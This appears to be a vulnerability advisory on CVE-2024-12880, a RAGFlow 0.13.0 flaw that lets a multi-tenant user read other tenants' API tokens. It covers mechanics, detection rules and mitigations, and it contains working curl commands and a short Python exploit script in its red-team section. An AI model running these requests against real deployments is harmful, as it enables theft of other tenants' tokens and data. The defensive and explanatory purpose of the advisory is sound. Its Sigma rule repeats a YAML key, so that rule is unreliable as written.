CVE-2024-12880

Executive Summary

CVE-2024-12880 is a critical vulnerability in Infiniflow RAGFlow version 0.13.0 that allows partial account takeover via insecure data querying. The flaw stems from improper handling of tenant IDs, enabling a user with access to multiple tenants to manipulate their tenant access and query API tokens belonging to other tenants. This affects multiple API endpoints, including /v1/system/token_list, /v1/system/new_token, /v1/api/token_list, /v1/api/new_token, and /v1/api/rm. An attacker can exploit this to access other tenants' API tokens, perform actions on their behalf, and access their data. The CVSS score is 8.1 (High), and no patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires valid user account with multi-tenant access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – API tokens and data of other tenants exposed
• Integrity Impact: High (I:H) – attacker can perform actions on behalf of other tenants
• Availability Impact: None (A:N)

Threat Level: High. Exploitation is straightforward for authenticated users with multi-tenant access. No patch exists, making all RAGFlow-0.13.0 deployments vulnerable.

Deep Dive & Mechanics

The vulnerability lies in the authorization logic for tenant-scoped API endpoints. In RAGFlow-0.13.0, when a user is associated with multiple tenants, the application fails to properly validate that the user is authorized to access the tenant ID they specify in API requests. The affected endpoints do not enforce tenant isolation, allowing a user to supply a different tenant ID (e.g., via a query parameter or request body) and retrieve API tokens or perform actions on behalf of that tenant.

Key Endpoints:

• /v1/system/token_list – Lists API tokens for a given tenant.
• /v1/system/new_token – Creates a new API token for a given tenant.
• /v1/api/token_list – Lists API tokens for the current tenant (but can be manipulated).
• /v1/api/new_token – Creates a new API token for the current tenant (but can be manipulated).
• /v1/api/rm – Removes an API token for a given tenant.

Attack Flow:

1. Attacker logs in with a user account that has access to at least two tenants.
2. Attacker sends a request to /v1/system/token_list with a manipulated tenant ID (e.g., tenant_id=attacker_tenant changed to tenant_id=victim_tenant).
3. The server returns the API tokens for the victim tenant.
4. Attacker uses the stolen API token to impersonate the victim tenant and access their data or perform actions.

Vulnerable vs. Patched Code

Vulnerable Code (RAGFlow-0.13.0):

# Example vulnerable endpoint handler
@app.route('/v1/system/token_list', methods=['GET'])
def token_list():
    tenant_id = request.args.get('tenant_id')
    # No check if user has access to this tenant
    tokens = db.get_tokens_for_tenant(tenant_id)
    return jsonify(tokens)

Patched Code (Hypothetical Fix):

@app.route('/v1/system/token_list', methods=['GET'])
def token_list():
    tenant_id = request.args.get('tenant_id')
    user_tenants = get_user_tenants(current_user)
    if tenant_id not in user_tenants:
        abort(403, description="Access denied to this tenant")
    tokens = db.get_tokens_for_tenant(tenant_id)
    return jsonify(tokens)

The fix requires validating that the requesting user is authorized to access the specified tenant ID before returning any data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account with access to at least two tenants in RAGFlow-0.13.0.
• Network access to the RAGFlow API.

Exploitation Steps:

1. Authenticate and obtain a session token.
2. Enumerate tenants accessible to your account (e.g., via /v1/user/tenants).
3. Send a GET request to /v1/system/token_list with a manipulated tenant_id parameter:

   curl -X GET "https://target-ragflow.example.com/v1/system/token_list?tenant_id=victim_tenant_id" \
        -H "Authorization: Bearer <your_session_token>"
   

4. If successful, the response will contain API tokens for the victim tenant.
5. Use the stolen token to impersonate the victim tenant:

   curl -X GET "https://target-ragflow.example.com/v1/api/documents" \
        -H "Authorization: Bearer <stolen_token>"
   

Automated Exploit (Python):

import requests

target = "https://target-ragflow.example.com"
session = requests.Session()

# Authenticate
login_resp = session.post(f"{target}/v1/login", json={"username": "attacker", "password": "password"})
token = login_resp.json()["token"]

# Exploit token_list endpoint
victim_tenant_id = "victim_tenant_id"
resp = session.get(f"{target}/v1/system/token_list?tenant_id={victim_tenant_id}",
                   headers={"Authorization": f"Bearer {token}"})
print(resp.json())

Blue Team (Detection & Defense)

Detection:

• Monitor API logs for requests to /v1/system/token_list, /v1/system/new_token, /v1/api/token_list, /v1/api/new_token, and /v1/api/rm with unusual or unexpected tenant_id values.
• Alert on multiple failed attempts to access different tenant IDs from the same user.
• Correlate user activity with tenant membership changes.

Defense:

• Immediately restrict user accounts to single-tenant access where possible.
• Implement network segmentation to limit API exposure.
• Deploy a Web Application Firewall (WAF) with rules to block requests with manipulated tenant IDs.
• Monitor for anomalous API token usage patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual API requests to /v1/system/token_list with varying tenant_id parameters.
  • Repeated 403 errors followed by successful 200 responses on tenant-scoped endpoints.
  • API tokens being used from IP addresses not associated with the legitimate tenant.

• File IOCs:

  • Log entries showing tenant_id values not in the user's authorized tenant list.
  • Database queries for tokens with unexpected tenant IDs.

• Behavioral IOCs:

  • A single user account accessing API tokens for multiple tenants.
  • API tokens being used to access data from tenants not originally associated with the token.

Detection Engineering

YARA Rule

rule CVE_2024_12880_RAGFlow_Token_Theft {
    meta:
        description = "Detects exploitation attempts of CVE-2024-12880 in RAGFlow"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12880"
    strings:
        $token_list = "/v1/system/token_list" ascii nocase
        $new_token = "/v1/system/new_token" ascii nocase
        $api_token_list = "/v1/api/token_list" ascii nocase
        $api_new_token = "/v1/api/new_token" ascii nocase
        $api_rm = "/v1/api/rm" ascii nocase
        $tenant_param = "tenant_id=" ascii nocase
    condition:
        any of ($token_list, $new_token, $api_token_list, $api_new_token, $api_rm) and $tenant_param
}

Sigma Rule

title: CVE-2024-12880 RAGFlow API Token Theft Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-12880 by querying API token endpoints with manipulated tenant IDs
author: Valters IT
date: 2025-04-17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12880
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "/v1/system/token_list"
            - "/v1/system/new_token"
            - "/v1/api/token_list"
            - "/v1/api/new_token"
            - "/v1/api/rm"
        cs-uri-query|contains: "tenant_id="
    condition: selection
falsepositives:
    - Legitimate multi-tenant administration
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12880 RAGFlow API Token Theft Attempt"; flow:to_server; content:"/v1/system/token_list"; http_uri; content:"tenant_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-12880 RAGFlow API Token Theft Attempt"; flow:to_server; content:"/v1/system/new_token"; http_uri; content:"tenant_id="; http_uri; classtype:attempted-recon; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-12880 RAGFlow API Token Theft Attempt"; flow:to_server; content:"/v1/api/token_list"; http_uri; content:"tenant_id="; http_uri; classtype:attempted-recon; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2024-12880 RAGFlow API Token Theft Attempt"; flow:to_server; content:"/v1/api/new_token"; http_uri; content:"tenant_id="; http_uri; classtype:attempted-recon; sid:1000004; rev:1;)
alert http any any -> any any (msg:"CVE-2024-12880 RAGFlow API Token Theft Attempt"; flow:to_server; content:"/v1/api/rm"; http_uri; content:"tenant_id="; http_uri; classtype:attempted-recon; sid:1000005; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Multi-Tenant Access: If possible, limit user accounts to a single tenant until a patch is available.
2. API Rate Limiting: Implement rate limiting on the affected endpoints to slow down brute-force attempts.
3. Enhanced Logging: Enable detailed logging for all tenant-scoped API requests, including the requesting user and tenant ID.

Long-Term Fix:

• Apply server-side authorization checks to ensure the requesting user has access to the specified tenant ID before processing any request.
• Update to a patched version of RAGFlow once available (monitor Infiniflow's official channels).

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests to the affected endpoints with unexpected tenant_id values:

  location ~ ^/v1/(system|api)/(token_list|new_token|rm) {
      if ($arg_tenant_id !~ ^(allowed_tenant_1|allowed_tenant_2)$) {
          return 403;
      }
      proxy_pass http://backend;
  }
  

Valters IT